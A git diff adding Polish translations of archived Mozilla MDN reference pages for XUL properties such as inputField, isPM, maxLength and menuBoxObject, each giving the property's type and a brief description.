+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/pageCount">pageCount</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/pageid">pageid</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/pageIndex">pageIndex</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/pageStep">pageStep</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/palette">palette</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/persist">persist</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/popup">popup</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/popupBoxObject">popupBoxObject</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/popupOpen">popupOpen</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/position">position</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/predicate">predicate</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/preferenceElements">preferenceElements</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/preferencePanes">preferencePanes</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/preferences">preferences</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/radioGroup">radioGroup</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/readonly">readonly</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/ref">ref</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/resource">resource</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/resultsPopup">resultsPopup</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/scrollBoxObject">scrollBoxObject</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/searchCount">searchCount</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/searchParam">searchParam</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/searchSessions">searchSessions</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/securityUI">securityUI</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/selected">selected</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/selectedBrowser">selectedBrowser</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/selectedCount">selectedCount</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/selectedIndex">selectedIndex</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/selectedItem">selectedItem</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/selectedItems">selectedItems</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/selectedPanel">selectedPanel</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/selectedTab">selectedTab</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/selectionEnd">selectionEnd</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/selectionStart">selectionStart</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/selstyle">selstyle</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/selType">selType</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/sessionCount">sessionCount</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/sessionHistory">sessionHistory</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/showCommentColumn">showCommentColumn</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/showPopup">showPopup</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/size">size</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/src">src</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/statusbar">statusbar</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/statusText">statusText</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/stringBundle">stringBundle</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/strings">strings</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/style">style</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/subject">subject</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/suppressOnSelect">suppressOnSelect</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/tabContainer">tabContainer</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/tabIndex">tabIndex</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/tabs">tabs</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/tabScrolling">tabScrolling</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/tag">tag</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/textLength">textLength</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/textValue">textValue</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/timeout">timeout</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/title">title</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/toolbarName">toolbarName</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/toolbarset">toolbarset</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/tooltip">tooltip</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/tooltipText">tooltipText</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/top">top</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/treeBoxObject">treeBoxObject</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/type">type</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/uri">uri</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/userAction">userAction</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/value">value</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/view">view</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/webBrowserFind">webBrowsereFind</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/webNavigation">webNavigation</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/webProgress">webProgress</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/width">width</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/wizardPages">wizardPages</a>
+</li></ul>
+<h3 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci_elementu_DOM" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci_elementu_DOM"> Powiązane własności elementu DOM </h3>
+<ul><li> <a href="pl/DOM/element.attributes">DOM:element.attributes</a>
+</li><li> <a href="pl/DOM/element.childNodes">DOM:element.childNodes</a>
+</li><li> <a href="pl/DOM/element.cloneNode">DOM:element.cloneNode</a>
+</li><li> <a href="pl/DOM/element.firstChild">DOM:element.firstChild</a>
+</li><li> <a href="pl/DOM/element.lastChild">DOM:element.lastChild</a>
+</li><li> <a href="pl/DOM/element.localName">DOM:element.localName</a>
+</li><li> <a href="pl/DOM/element.namespaceURI">DOM:element.namespaceURI</a>
+</li><li> <a href="pl/DOM/element.nextSibling">DOM:element.nextSibling</a>
+</li><li> <a href="pl/DOM/element.nodeName">DOM:element.nodeName</a>
+</li><li> <a href="pl/DOM/element.nodeType">DOM:element.nodeType</a>
+</li><li> <a href="pl/DOM/element.nodeValue">DOM:element.nodeValue</a>
+</li><li> <a href="pl/DOM/element.ownerDocument">DOM:element.ownerDocument</a>
+</li><li> <a href="pl/DOM/element.parentNode">DOM:element.parentNode</a>
+</li><li> <a href="pl/DOM/element.prefix">DOM:element.prefix</a>
+</li><li> <a href="pl/DOM/element.previousSibling">DOM:element.previousSibling</a>
+</li><li> <a href="pl/DOM/element.tagName">DOM:element.tagName</a>
+</li></ul>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/inputfield/index.html b/files/pl/mozilla/tech/xul/własność/inputfield/index.html
new file mode 100644
index 0000000000..b7ce623947
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/inputfield/index.html
@@ -0,0 +1,20 @@
+---
+title: inputField
+slug: Mozilla/Tech/XUL/Własność/inputField
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/inputField
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/inputField">inputField</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element textbox</i>
+ </dd>
+ <dd>
+ W Mozilli, pole tekstowe w języku XUL jest zaimplementowane jako otoczenie wokół elementów kontrolek formularza (input) języka HTML. Ta własność tylko do odczytu podtrzymuje odniesienie do wewnętrznego elementu input.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/inverted/index.html b/files/pl/mozilla/tech/xul/własność/inverted/index.html
new file mode 100644
index 0000000000..d01082b893
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/inverted/index.html
@@ -0,0 +1,20 @@
+---
+title: inverted
+slug: Mozilla/Tech/XUL/Własność/inverted
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/inverted
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/inverted">inverted</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-inverted"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/inverted">inverted</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/is24hourclock/index.html b/files/pl/mozilla/tech/xul/własność/is24hourclock/index.html
new file mode 100644
index 0000000000..173d6b6d5f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/is24hourclock/index.html
@@ -0,0 +1,17 @@
+---
+title: is24HourClock
+slug: Mozilla/Tech/XUL/Własność/is24HourClock
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/is24HourClock
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/is24HourClock">is24HourClock</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie jest stosowany 12-godzinny, a gdzie 24-godzinny czas wyświetlania. Z 12-godzinnym czasem zegara, dodatkowe pole pozwala użytkownikowi na wybranie pomiędzy AM i PM.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/ispm/index.html b/files/pl/mozilla/tech/xul/własność/ispm/index.html
new file mode 100644
index 0000000000..958fc6dc53
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/ispm/index.html
@@ -0,0 +1,17 @@
+---
+title: isPM
+slug: Mozilla/Tech/XUL/Własność/isPM
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/isPM
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/isPM">isPM</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Jeśli <code>false</code>, godzina jest pomiędzy 0 i 11, a jeśli <code>true</code> to godzina jest 12 lub większa.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/issearching/index.html b/files/pl/mozilla/tech/xul/własność/issearching/index.html
new file mode 100644
index 0000000000..a221b269af
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/issearching/index.html
@@ -0,0 +1,20 @@
+---
+title: isSearching
+slug: Mozilla/Tech/XUL/Własność/isSearching
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/isSearching
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/isSearching">isSearching</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ta własność jest ustawiona na <code>true</code> podczas, gdy szukanie jest wykonywane.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/label/index.html b/files/pl/mozilla/tech/xul/własność/label/index.html
new file mode 100644
index 0000000000..c216910b49
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/label/index.html
@@ -0,0 +1,16 @@
+---
+title: label
+slug: Mozilla/Tech/XUL/Własność/label
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/label
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/lastpermanentchild/index.html b/files/pl/mozilla/tech/xul/własność/lastpermanentchild/index.html
new file mode 100644
index 0000000000..c8c3eedfde
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/lastpermanentchild/index.html
@@ -0,0 +1,22 @@
+---
+title: lastPermanentChild
+slug: Mozilla/Tech/XUL/Własność/lastPermanentChild
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/lastPermanentChild
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/lastPermanentChild">lastPermanentChild</a></span></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Ostatni trwały element potomny paska narzędzi. Trwały potomek jest jedynym, który nie jest zdolny, aby się dostosować i zostać na pasku narzędzi. Pozycje, które są umieszczone bezpośrednio wewnątrz paska narzędzi bez bycia w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code> są trwałe.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/lastselected/index.html b/files/pl/mozilla/tech/xul/własność/lastselected/index.html
new file mode 100644
index 0000000000..2bd792472c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/lastselected/index.html
@@ -0,0 +1,20 @@
+---
+title: lastSelected
+slug: Mozilla/Tech/XUL/Własność/lastSelected
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/lastSelected
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/lastSelected">lastSelected</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Ustawia to na id ostatniego zaznaczonego okna. Będzie otwarte domyślnie następnym razem, kiedy zostanie otwarte okno preferencji.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/left/index.html b/files/pl/mozilla/tech/xul/własność/left/index.html
new file mode 100644
index 0000000000..5cd3a29632
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/left/index.html
@@ -0,0 +1,20 @@
+---
+title: left
+slug: Mozilla/Tech/XUL/Własność/left
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/left
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/linkedpanel/index.html b/files/pl/mozilla/tech/xul/własność/linkedpanel/index.html
new file mode 100644
index 0000000000..30bf9fd53d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/linkedpanel/index.html
@@ -0,0 +1,20 @@
+---
+title: linkedPanel
+slug: Mozilla/Tech/XUL/Własność/linkedPanel
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/linkedPanel
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/linkedPanel">linkedPanel</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code></i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-linkedpanel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/linkedpanel">linkedpanel</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/locked/index.html b/files/pl/mozilla/tech/xul/własność/locked/index.html
new file mode 100644
index 0000000000..d5e73acbe3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/locked/index.html
@@ -0,0 +1,20 @@
+---
+title: locked
+slug: Mozilla/Tech/XUL/Własność/locked
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/locked
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/locked">locked</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli <code>true</code>, to preferencje zostaną zabezpieczone i wyłączone z konfiguracji systemu, zabezpieczając zawartość przed zmianami. Własność jest tylko do odczytu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/markupdocumentviewer/index.html b/files/pl/mozilla/tech/xul/własność/markupdocumentviewer/index.html
new file mode 100644
index 0000000000..71d16f0854
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/markupdocumentviewer/index.html
@@ -0,0 +1,16 @@
+---
+title: markupDocumentViewer
+slug: Mozilla/Tech/XUL/Własność/markupDocumentViewer
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/markupDocumentViewer
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/markupDocumentViewer">markupDocumentViewer</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIMarkupDocumentViewer">nsIMarkupDocumentViewer</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca <a href="pl/NsIMarkupDocumentViewer">nsIMarkupDocumentViewer</a>, który jest odpowiedzialny za rysowanie dokumentu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/max/index.html b/files/pl/mozilla/tech/xul/własność/max/index.html
new file mode 100644
index 0000000000..91d6a12d1f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/max/index.html
@@ -0,0 +1,13 @@
+---
+title: max
+slug: Mozilla/Tech/XUL/Własność/max
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/max
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/max">max</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code>max</code>. </dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/maxheight/index.html b/files/pl/mozilla/tech/xul/własność/maxheight/index.html
new file mode 100644
index 0000000000..b36247398f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/maxheight/index.html
@@ -0,0 +1,20 @@
+---
+title: maxHeight
+slug: Mozilla/Tech/XUL/Własność/maxHeight
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/maxHeight
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/maxlength/index.html b/files/pl/mozilla/tech/xul/własność/maxlength/index.html
new file mode 100644
index 0000000000..e845abcb1a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/maxlength/index.html
@@ -0,0 +1,20 @@
+---
+title: maxLength
+slug: Mozilla/Tech/XUL/Własność/maxLength
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/maxLength
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxLength">maxLength</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Maksymalna liczba znaków w polu tekstowym, jaką można wpisać.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/maxrows/index.html b/files/pl/mozilla/tech/xul/własność/maxrows/index.html
new file mode 100644
index 0000000000..5cf0bcc029
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/maxrows/index.html
@@ -0,0 +1,20 @@
+---
+title: maxRows
+slug: Mozilla/Tech/XUL/Własność/maxRows
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/maxRows
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxRows">maxRows</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-maxrows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxrows">maxrows</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/maxwidth/index.html b/files/pl/mozilla/tech/xul/własność/maxwidth/index.html
new file mode 100644
index 0000000000..b553c59a3f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/maxwidth/index.html
@@ -0,0 +1,17 @@
+---
+title: maxWidth
+slug: Mozilla/Tech/XUL/Własność/maxWidth
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/maxWidth
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/menu/index.html b/files/pl/mozilla/tech/xul/własność/menu/index.html
new file mode 100644
index 0000000000..c995bd2524
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/menu/index.html
@@ -0,0 +1,20 @@
+---
+title: menu
+slug: Mozilla/Tech/XUL/Własność/menu
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/menu
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu popup</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/menuboxobject/index.html b/files/pl/mozilla/tech/xul/własność/menuboxobject/index.html
new file mode 100644
index 0000000000..b35c93ddc9
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/menuboxobject/index.html
@@ -0,0 +1,20 @@
+---
+title: menuBoxObject
+slug: Mozilla/Tech/XUL/Własność/menuBoxObject
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/menuBoxObject
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menuBoxObject">menuBoxObject</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIMenuBoxObject">nsIMenuBoxObject</a></i>
+ </dd>
+ <dd>
+ Referencja do <a href="pl/NsIMenuBoxObject">nsIMenuBoxObject</a>, który implementuje menu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/menulist.inputfield/index.html b/files/pl/mozilla/tech/xul/własność/menulist.inputfield/index.html
new file mode 100644
index 0000000000..3594e504b9
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/menulist.inputfield/index.html
@@ -0,0 +1,27 @@
+---
+title: menulist.inputField
+slug: Mozilla/Tech/XUL/Własność/menulist.inputField
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/menulist.inputField
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/menulist.inputField">inputField</a></dt>
+ <dd>
+ Typ:
+ <i>
+ element textbox</i>
+ </dd>
+ <dd>
